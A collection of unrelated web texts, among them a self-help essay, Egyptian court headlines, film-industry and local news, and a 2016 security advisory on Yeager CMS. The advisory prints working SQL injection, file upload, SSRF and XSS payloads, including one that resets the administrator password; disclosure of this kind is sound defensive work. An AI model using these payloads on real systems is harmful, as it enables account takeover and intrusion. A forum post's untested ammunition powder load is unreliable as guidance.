The hardest part was navigating where I ended, and someone else began.
Draw a line around you, they say.
But what if you don't feel like you even have a right to have a line? What if you feel so uncomfortable to even say the word "no", let alone to disagree with what you've always agreed to? And how do you change what's become so ingrained as the way you are, the way they see you, the way you've always been with them?
No one ever tells you that you have a right to have boundaries in the first place. No one tells you that you need them. Or that you have to know what they are before you can use them.
No one tells you how hard it is to communicate directly, to say what you actually want to say, instead of deferring to what you've always said before.
No one tells you how wrong you feel, how selfish, how uncomfortable you're going to feel to know that you're disappointing someone or letting someone else down.
They don't tell you what to do with these feelings, or where to go with them. They don't say anything about boundaries at all.
Until you do.
You feel it before you say the word. Something doesn't feel right anymore. This going along with what everyone else expects you to go along with, this fitting into someone else's mold.
Suddenly, you find yourself feeling sad, helpless, hopeless, and maybe even mad for the first time in your life. You've got something else you want to say; another side of you to reveal.
But how, you wonder?
He'll stop loving me. He'll leave me. He won't want me. And then I'll only have myself to blame.
I shouldn't have stood up. I shouldn't have spoken my truth. I shouldn't have rocked the boat.
And then the dreaded "shoulda, coulda, woulda" internal dialogue begins.
Yes, Beautiful. You needed to. It's been a long time coming.
This going along with everyone else and what they want you to be. This being who they think you are. You grew up along the way. You found your own voice somewhere inside you. Except you never learned that its expression was OK.
No one ever tells you that the key to breaking free of the past starts by setting boundaries. Or that you have to first get to know yourself before you can set them at all. Who are you? What can you actually live with – and what is you just putting up with what you've always been expected to?
No one ever tells you that a healthy loving relationship has as its foundation two separate people who know where each of them ends and the other begins.
No one ever tells you how uncomfortable, how completely out of your comfort zone it's going to be for you to learn a new language that includes the "I" statements you've never learned. "I feel". "I need". "I want". "I hear". "I know". "I am". "I'm not".
The list goes on and on. Such simple words. Such foreign words. You mean I have a voice?
These are owning words. Words that tell the world about the real you but carry risk because yes, they do define you. This is the very thing you fear. Being known for who you are and not what someone else wants you to be.
Will they still love you? Will they still want you? Will they still accept you if you speak your own mind? If you live by your own truth? If you follow your own set of rules?
Oh Beautiful, the ones you want will. The rest never matter in the end.
This is how you find a love like no other, a love that's meant for you and only you. You can't find that kind of love without first knowing yourself, without being that self, without showing up with that true self.
Let them do what they choose to do with you!
Let them stay, let them go. Five, ten, twenty years down the road from now, what will matter is that you showed up. That you knew who you are and what you're all about. How else can anyone find you if you can't find yourself?
What about you? The subject of boundaries underlies so many of the problems we face. I'd love to hear how this topic relates personally to you - tell us in the comments!


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Prosecution said it will summon him again
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The foreign affairs committee in the Egyptian Parliament has rejected on Wednesday calls by three British members of parliament who requested that Egyptian authorities allow them to visit the country's jailed former president Mohamed Morsi, raising concerns about his health. The committee also condemned accusing British newspaper The Guardian of "falsely claiming with no proof …
Egyptian court postpones Morsi trial in "Hamas espionage" case to 10 September
The defendants include prominent Muslim Brotherhood members
55 defendants sentenced to 15 years in violence related case
The court fined all the accused with a total amount of EGP 340,000
20 defendants sentenced to death in Kerdasa massacre re-trial
Court also orders life imprisonment for 80, 15-year term for 34, 10 years for minor and acquits 21
Cassation Court postpones the appeal of Morsi to 3 June
On Saturday, Egypt's Cassation Court postponed to 3 June the appeal of former president Mohammed Morsi and six others in the case known in media outlets as "Qatar espionage". On 18 June 2016, the Cairo Criminal Court has sentenced Morsi and his secretary to life in prison, and sentenced two others to death, when they …
Trial of photojournalist Shawkan resuming on 8 April
Shawkan, who is detained since 2013, faces charges of joining an illegal public assembly, vandalism, and possession of weapons
Trial of Morsi, 24 others adjourned to 11 February in "insulting judiciary" case
The case includes several media and political figures, including Amr Hamzawy and Alaa Abdel Fattah
Trial of Morsi, 24 others adjourned to 14 January in 'insulting judiciary' case
The case includes political activist Alaa Abdel Fattah, along with activists Amr Hamzawy and Mostafa Al-Naggar
State seizes Brotherhood-run medicine companies
The country is currently facing a supply crisis in essential medical products
Morsi, Brotherhood leaders granted retrial in 'Hamas espionage' case
Annulled verdicts ranged from death to prison sentences
Appeal court revokes death sentences issued against Morsi, Brotherhood members
Morsi is a co-defendant in 3 other cases, including the "Qatar espionage" and Itihadiya Palace case
Trial of Morsi, 24 others adjourned to 10 December in 'insulting judiciary' case
The case includes several media and political figures, including Amr Hamzawy and Alaa Abdel Fattah
EIPR criticises restriction of presidential palace case verdict to only Morsi, allies
The statements said that the verdict represents "selective justice" and was only "partially accepted" by families
Court adjourns Morsi's trial in jailbreak case to 15 November
Former president Mohamed Morsi is being tried in three other cases
Turkey will normalise relations if Egypt releases Morsi, allies from prison: Erdogan
The Turkish president said that Egypt should rectify the military coup that happened on 30 June 2013
Cairo Criminal Court releases Morsi's former manpower minister
The former manpower minister was part of former prime minister Hisham Kandil's government
Police raid village in Sharqeya, several arrested
Sharqeya raid targeted hometown of former Islamist president Mohamed Morsi
Morsi's defense team appeals verdict in 'Qatar espionage' case
The appeal aims to cancel the death and prison sentences issued against Morsi, other Brotherhood members
The Coptic Church's Faustian bargain
It didn't take long for the regime to crack down on Islamist and secular opposition after the military takeover on 3 July 2013. Anyone speaking out against regime injustices was discredited as a Muslim Brotherhood member and loyalist to the deposed president Mohamed Morsi. In a sense, a great opportunity was afforded to Coptic Christians to …
Appeal sessions in Hamas espionage case to start 25 October
Defence team argues lack of evidence, demands suspension of sentences
Morsi, Brotherhood leaders to be retried in Itihadiya Palace case on 8 October
The defendants received an earlier verdict that ranged from 10 to 20 years of intensified prison sentence
Turkey and Egypt: a new opening for rapprochement?
Lack of economic incentive for Egypt will continue to inhibit chances for political reconciliation, says analyst at the Carnegie Foundation
The memory of 30 June uprising through people's eyes
Three years later, with all of the political turmoil, economic changes, the breaking up of the Rabaa Al-Adaweya sit-in, hundreds of other marches against the "military coup", and Abdel Fatah Al-Sisi's ruling system, people are still torn between celebrating the day the Brotherhood's era came to an end and mourning the start of a regime in which one of Egypt's worst massacres took place and that has taken away freedoms.
Egypt condemns Qatari foreign ministry statement on Morsi's verdict
Such a statement is not surprising coming from those who use their media against Egypt, says the Egyptian FM spokesperson
Morsi sentenced to life in 'Qatar espionage' case
Sentence comes one day after the former president was supposed to complete his first term as president
Rights groups band together to defend freedom of expression
The Voices Behind Bars campaign aims to bring justice to the wrongfully detained
Court postpones verdict on Istiqlal Party head
Magdy Hussien is accused of spreading extremist ideas and false news
Protest may be unpleasant, but repression is ugly
In Egypt, protest and repression spark off from one another. The state, which has a strong grip on the whole society, applies its repressive policy to intimidate citizens and deter them from engaging in demonstrations. Many citizens try to protest against the state to condemn and shout down its repressive policy. The state believes, …
Court postpones verdict in Qatar espionage case
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SEC Consult Vulnerability Lab Security Advisory < 20160210-0 > ======================================================================= title: Multiple Vulnerabilities product: Yeager CMS vulnerable version: 1.2.1 fixed version: 1.3 CVE number: CVE-2015-7567, CVE-2015-7568, CVE-2015-7569, CVE-2015-7570 , CVE-2015-7571, CVE-2015-7572 impact: Critical homepage: http://yeager.cm/en/home/ found: 2015-11-18 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- Yeager is an open source CMS that aims to become the most cost/time-effective solution for medium and large web sites and applications. Business recommendation: ------------------------ Yeager CMS suffers from multiple vulnerabilities due to improper input validation and unprotected test scripts. By exploiting these vulnerabilities an attacker could: 1. Change user's passwords including the administrator's account. 2. Gain full access to the Yeager CMS database. 3. Determine internal servers that inaccessible from the Internet. 4. Attack other users of the Yeager CMS with Cross-Site Scripting. SEC Consult recommends not to use this software until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568) 2. Post-authentication Blind SQL Injection (CVE-2015-7569) 3. Unauthenticated Arbitrary File Upload (CVE-2015-7571) 4. Unauthenticated Server-side Request Forgery (CVE-2015-7570) 5. Non-permanent Cross-site Scripting (CVE-2015-7572) Proof of concept: ----------------- 1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568) http://
/yeager/?action=passwordreset&token= http:// /yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70 &data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":" "}}] The vulnerability can also be used for unauthorized reset password of any user. In order to reset a specific user's password, an attacker will need to provide a valid email address of the user that he wants to attack. The email can be retrieved by either social engineering or using the aforementioned unauthenticated SQL injection vulnerability. http:// /yeager/y.php/responder?handler=recoverLogin&us=sess_20000&lh=70&d ata=["noevent",{"yg_property":"recoverLogin","params":{"userEmail":" ","winID":"1"}}] The above URL just simply creates and sends a reset password token to the user's email. Next, even if attacker does not know the token, manipulating SQL commands allows to force to set the new password instantly. Note that new password MUST be at least 8 characters in length and must contain both letters and numbers. http:// /yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70 &data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"'+or+ui d=(select+id+from+yg_user+where+login=' ')+limit+1--+-","userP assword":" ","winID":"1"}}] 2. Post-authentication Blind SQL Injection (CVE-2015-7569) http:// /yeager/y.php/tab_USERLIST POST Data: win_no=4&yg_id=2-user&yg_type=user&wid=wid_4&refresh=1&initload=&us=sess_16000& lh=325&pagedir_page=2&pagedir_perpage=1&pagedir_orderby= &pagedir_orderdir=4&pagedir_from=5&pagedir_limit=6,7&newRole=1 3. Unauthenticated Arbitrary File Upload (CVE-2015-7571) A publicly known Arbitrary File Upload vulnerability of Plupload was found in Yeager CMS. Fortunately, to successfully exploit the vulnerability requires PHP directive "upload_tmp_dir" set to an existing directory and it must contain the writable directory "plupload". By default, the PHP directive "upload_tmp_dir" is an empty value. As a result, the script will attempt to upload a file to /plupload/ instead which generally does not exist on the filesystem. http:// /yeager/ui/js/3rd/plupload/examples/upload.php 4. Unauthenticated Server-side Request Forgery (CVE-2015-7570) http:// /yeager/libs/org/adodb_lite/tests/test_adodb_lite.php http:// /yeager/libs/org/adodb_lite/tests/test_datadictionary.php http:// /yeager/libs/org/adodb_lite/tests/test_adodb_lite_sessions.php The parameter "dbhost" can be used to perform internal port scan using time delay measurement. An attacker can provide internal IP address and port number, for example, 10.10.0.1:22. The attacker then compares time delays from multiple responses in order to determine host and port availability. 5. Non-permanent Cross-site Scripting (CVE-2015-7572) A previously published XSS vulnerability of Plupload was found in Yeager CMS. http:// /yeager/ui/js/3rd/plupload/js/plupload.flash.swf?id=\%22%29%29;}ca tch%28e%29{alert%28/XSS/%29;}// Vulnerable / tested versions: ----------------------------- The vulnerabilities have been tested on Yeager CMS 1.2.1 URL: http://yeager.cm/en/download/package/?v=126.96.36.199.0 Vendor contact timeline: ------------------------ 2015-12-07: Contacting vendor through email@example.com, email@example.com 2015-12-07: Established secure communication channel 2015-12-07: Sending advisory draft 2015-12-10: Yeager CMS 1.2.2 released for security fixes 2015-12-22: Yeager CMS 1.3 released for security fixes 2016-02-10: Public advisory release Solution: --------- The vulnerability has been fixed in Yeager CMS 1.3 and later. https://github.com/ygcm/yeager/commit/74e0ce518321e659cda54f3f565ca0ce8794dba8# diff-4200a6e704ae66ada32f35f69796cc71 https://github.com/ygcm/yeager/commit/053a3b98a9a3f4fd94186cbb8994de0a3e8d9307 Workaround: ----------- No workaround available. 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Election years are typically strong for political documentaries. Capitalizing on citizens' hunger for issues that the mainstream media is either ignoring or mishandling, audiences flock to theaters to get a deeper sense of what's going on in the world. At least that was the thinking in 2004, with the blockbuster sales of "Fahrenheit 9/11" and also given the multi-million-dollar grosses of "The Fog of War," "Control Room," "Super Size Me," and "The Corporation." Even "Going Upriver: The Long War of John Kerry" wasn't swift-boated in theaters, earning more than $614,000.
Four years later, docs, as has already been widely reported, are struggling in theaters–and political and socially conscious documentaries, in particular, are bearing the worst of it. 2008 duds include "Chicago 10" ($156,000), "Taxi to the Dark Side" ($248,200) and "Body of War" ($32,000). Morgan Spurlock's "Where in the World is Osama Bin Laden?" opened in 102 theaters with a per-venue average of just $1,401 and dropped significantly this weekend. Compare that to the 41-theater debut of "Super Size Me," which garnered a $12,601 average, one can see how different the landscape is nowadays.
"Everyone is uninterested," said Roadside Attractions' Howard Cohen, who worked on the release of "Super Size Me" as well as this year's "Chicago 10." Even in markets where Oscar-nominated director Brett Morgen's super-energized retelling of the Chicago 1968 rabblerousers got four-star reviews, such as Washington D.C. ("the first great film of 2008," wrote the Washington Post), audiences were "absolutely indifferent," explained Cohen.
But Diane Weyermann, executive VP of documentary films at Participant Media, which backed "Chicago 10" and Errol Morris' "Standard Operating Procedure," noted that we shouldn't react to the grim numbers in an "alarmist way." She said the marketplace is merely in a downbeat cycle. "I really think we're going to come back up again. It always has," she added.
She pointed to Errol Morris's unique brand of investigative documentary as something that can bring audiences back to the theater for engaging nonfiction. "There are people who will go see an Errol Morris film, because of who he is, and maybe that will open things up again," Weyermann said. Indeed, Sony Pictures Classics marketing of "S.O.P." puts Morris front-and-center (for example) as much as the controversial Abu Ghraib photographs that anchor the film.
But the opening weekend numbers for "Standard Operating Procedure" were not Morris' best, earning $14,916 on two screens (for an average of $7,458). His last three films all had higher initial per-screen averages: "The Fog of War"($13,816), "Mr. Death" ($8,041) and "Fast, Cheap and Out of Control" ($11,832).
Still, if there's any nonfiction director whose work looks like it should be seen on a big screen, it's certainly Morris's. (One of "S.O.P."'s cinematographers Robert Richardson was also director of photography on films such as "The Aviator," "Kill Bill" and "JFK.") "I think they are movies," said Morris of his films, emphasizing the "movie" aspect of that statement and likening "S.O.P." to a horror film. "If I made a nonfiction film noir," he said, referring to 1988's "The Thin Blue Line," "why not try a nonfiction horror movie?"
While Morris believes audience will see the film, he acknowledged that Iraq and its gruesome side effects haven't interested Americans much. "People have never been focused on it," he said.
Sony Pictures Classics' Michael Barker said that "S.O.P." will be rolling out over the summer in a "slow and steady release," reaching major markets in May and June and expanding all the way to Lexington, Kentucky and Norfork, Virginia in July. "It'll play in many cities and town," he explained. "What remains to be seen is the duration of the play in these towns."
Barker remains realistic about the challenges of releasing any film in today's market. "Since 'An Inconvenient Truth,' no documentary has done what they should do. But if you look at the indie films released between 'Little Miss Sunshine' and 'Juno,' there aren't many successes. It's a trend we're experiencing beyond films with difficult political subjects. It's difficult," he added. "It was always difficult."
Even with Morris's "Fog of War" – which grossed a healthy $4.2 million – Barker remembers journalists calling him after the opening, asking, "'Is this going to work?'" Likewise, there's plenty of time for "Standard Operating Procedure" to find its audience, according to Barker, both in the U.S. and also internationally. (After winning a Silver Bear in Berlin, the film will likely go onto be Morris' biggest foreign grosser.) "It's a long-term watch," said Barker.
This summer, several other political docs will try, despite the odds, to recapture theatrical audiences, including three films about the Iraq war: "Heavy Metal in Baghdad" (which opens in New York on May 23), "Operation Filmmaker" (which will play in several markets, starting in June) and "Full Battle Rattle" (which opens at the Film Forum on July 9). All three films share a uniqueness of approach and specific subject matter that could help them break out of the "Iraq-doc" box.
"Full Battle Rattle" co-director Jesse Moss feels the culture is ready to move beyond the first round of Iraq documentaries, which were, as he describes them, "film versions of the nonfiction books I read about Iraq," he said.
"Full Battle Rattle," which premiered in Berlin, documents U.S. army Iraq war simulations held in the Mojave Desert, with a sharply ironic gaze. "There's such a novelty factor to our film that I think people will come out for it," said "Full Battle Rattle" co-director Tony Gerber. "There's a flavor to our film that hasn't been part of the dialogue."
Likewise, Nina Davenport, who made "Operation Filmmaker," about an Iraqi film student who is rescued from Iraq by Liev Schreiber to work on his movie "Everything is Illuminated," said she likes to tackle a subject in a more offbeat way. "I'm always more interested in an angle that isn't the obvious one and that resonates on a larger level," she said. "Because my film is not just about Iraq; it's about what it means to do something charitable. And what does it mean to make a film about someone who doesn't have any resources when you yourself have resources."
For "Heavy Metal in Baghdad" directors Eddy Moretti and Suroosh Alvi, they're hoping their documentary will reach a younger audience, who they believe have been underserved. "If you look at the Iraq documentaries and the reporting," said Moretti, "this is one generation talking to itself. It has not engaged young Americans. It's McCain talking to McCain's generation."
Participant Media has not backed down on political docs that they hope will tap into and inspire a wider audience. According to Weyerman, the company has three political docs readying for distribution: Alex Gibney's latest "Casino Jack," about disgraced Republican lobbyist Jack Abramoff, "Pressure Cooker," about an inner city culinary arts program, and "The Food Project," a co-production with River Road ("Brokeback Mountain") about the industrialization of food.
If the performance of "Standard Operating Procedure" doesn't portend smooth sailing for the rest of Participant's slate or the other upcoming political docs, there is one documentary in theaters about a hot-button issue that is generating sizable sales. "Expelled: No Intelligence Allowed," a right-wing piece of creationist propaganda about the scientific establishment's unfair treatment of intelligent design, has grossed nearly $5.3 million in just ten days, making it one of the most successful nonfiction films of the past year.
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Garage Doors, Rain, and Leaks
Rain is a weather event we can all expect. Sometimes it is welcome and at other times it is not, but it always has the potential to cause damage or problems at your home. Your garage is no exception; garage doors are susceptible to incoming water, cold air leaks, and moisture-related expansion for some types of door materials and sealants. Take steps to protect your garage door and interior from water and wet weather damage.
First, make certain your garage is well-insulated.
Many garage doors are prepared with insulation, but that is not always the case. You may find that you need some additional insulation, particularly if your garage door material does not provide it. It will help protect your garage from cold air and excess moisture from rain and humidity. If you are considering a new garage door, you might want to think about a more energy efficient model.
Check thoroughly for leaks.
Sometimes you can see the areas through which water and air are coming in. Have someone stand outside the doors with a flashlight while you stand inside and in the dark. If there are obvious leaks, you may be able to see the light through them. In other cases, you may be able to feel the cool air coming through. Check the weather stripping on your door. Look for worn spots, tears, and missing pieces.
Replace your weather stripping regularly.
A professional can advise you on the best sort of weather stripping for your garage. Once you have it, you want to check it and replace it as it begins to wear. You do not necessarily have to hire help for this every time. You can find your materials and install them yourself, and as you have a professional visit and inspect your garage regularly for a check-up, he or she will let you know if there is more that you can do.
Whether rain or shine, call us at Abstract Overhead Door and Fence. We can help you with your garage door's insulation, weather stripping, and any other issue you may have.
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The US government denies a citizen's application to relinquish US citizenship. Translation: the government is invoking its powers as a slave holder.
I was approached recently by a member of our Sovereign Man community who filed the paperwork to relinquish US citizenship some time ago. Long story short, after an incomprehensibly long wait, the US government finally sent him a reply: Application DENIED. Absolutely shocking. That you even have to 'apply' to relinquish what you never signed up for is intellectually insulting. That you cannot do so freely, and immediately, is nothing short of totalitarian.
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A Belchford man, who is alleged to have committed sex offences against children, is due to face trial later this month.
Paul Waddingham, 61, of Dams Lane, has been charged with 28 historic sexual offences against two boys under the age of 16 in the West Yorkshire area.
He had previously failed to appear at a number of previous hearings at Bradford Magistrates' Court earlier this summer, due to ill health.
However, he appeared at Bradford Magistrates' Court at the end of August, and his case was committed to Bradford Crown Court where he will appear on September 26 for the trial.


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a long, sharp spine projecting from the coverings about a seed. They assist the seedhead in penetration of the skin and then migration through very large distances into all tissues, including even the canine intervertebral disk. They are common subcutaneous foreign bodies in sheep, where they appear to do no harm, and dogs where they commonly cause abscesses and some chronic, discharging fistulae. They are particularly troublesome in the nasal cavity, ears and eyes of dogs.


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I have been loading my 8 Kurz with IMR 4227, A 1680 and W680 with good results. A fellow recently gave me 19 pounds of Accurate #9. I'm thinking it might be too quick for that caliber but did load 5 rounds with 15 grains. I shot them and recoil was mild, the primers looked ok and cases look normal. Forgot my chrono that day so no velocity results. Thinking I will try 16 gr. and see what I get.
Wondering what you guys might think. Am I asking for trouble shooting that quicker powder? I found one Accurate #9 load for .30 carbine but everything I see is pistol caliber loads.
Pete in St. Louis


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RICHMOND / Mayor concedes race -- city largest in nation with Green leadership
Richmond Mayor Irma Anderson conceded defeat Tuesday in her bid for re-election and congratulated her opponent, Gayle McLaughlin, a member of the City Council and an activist in the Green Party.
In a news release, Anderson said it was clear that the voters of Richmond had "opted for a different vision for Richmond."
Assuming officials certify the results as expected, the election makes Richmond the biggest city in the country with a Green Party mayor -- and apparently the first with a predominately minority population.
About three-fourths of the city's 103,000 residents are African American and other minorities. The Green Party's traditional base has been among mostly white, well-educated people concerned about environmental causes.
McLaughlin describes herself in her official City Council biography as a "lifelong social activist" for progressive causes. She is the product of a union family in Chicago and holds an undergraduate degree in psychology.
Anderson has been mayor for five years. She described it as a time of "many challenges, necessitating tough decisions that I made for the health and well being of our community."
She said she would work closely with McLaughlin to assure a smooth transition.
Anderson said in her news release that she was declining interviews. McLaughlin couldn't be reached for comment Tuesday night.